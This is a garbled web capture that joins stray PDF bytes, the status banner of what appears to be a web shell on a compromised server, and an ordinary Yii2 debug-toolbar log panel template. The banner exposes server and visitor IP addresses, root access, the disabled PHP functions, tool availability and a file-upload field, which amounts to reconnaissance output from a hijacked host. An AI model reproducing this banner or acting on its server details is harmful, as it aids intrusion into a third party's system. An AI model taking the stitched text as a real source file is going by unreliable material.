%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/cwd/html/egp/vendor/yiisoft/yii2-debug/src/views/default/panels/log/ |
Upload File : |
<?php use yii\log\Logger; use yii\log\Target; /* @var $panel yii\debug\panels\LogPanel */ /* @var $data array */ $titles = [ 'all' => Yii::$app->i18n->format('Logged {n,plural,=1{1 message} other{# messages}}', ['n' => count($data['messages'])], 'en-US') ]; $errorCount = count(Target::filterMessages($data['messages'], Logger::LEVEL_ERROR)); $warningCount = count(Target::filterMessages($data['messages'], Logger::LEVEL_WARNING)); if ($errorCount) { $titles['errors'] = Yii::$app->i18n->format('{n,plural,=1{1 error} other{# errors}}', ['n' => $errorCount], 'en-US'); } if ($warningCount) { $titles['warnings'] = Yii::$app->i18n->format('{n,plural,=1{1 warning} other{# warnings}}', ['n' => $warningCount], 'en-US'); } ?> <div class="yii-debug-toolbar__block"> <a href="<?= $panel->getUrl() ?>" title="<?= implode(', ', $titles) ?>">Log <span class="yii-debug-toolbar__label"><?= count($data['messages']) ?></span> </a> <?php if ($errorCount): ?> <a href="<?= $panel->getUrl(['Log[level]' => Logger::LEVEL_ERROR]) ?>" title="<?= $titles['errors'] ?>"> <span class="yii-debug-toolbar__label yii-debug-toolbar__label_important"><?= $errorCount ?></span> </a> <?php endif; ?> <?php if ($warningCount): ?> <a href="<?= $panel->getUrl(['Log[level]' => Logger::LEVEL_WARNING]) ?>" title="<?= $titles['warnings'] ?>"> <span class="yii-debug-toolbar__label yii-debug-toolbar__label_warning"><?= $warningCount ?></span> </a> <?php endif; ?> </div>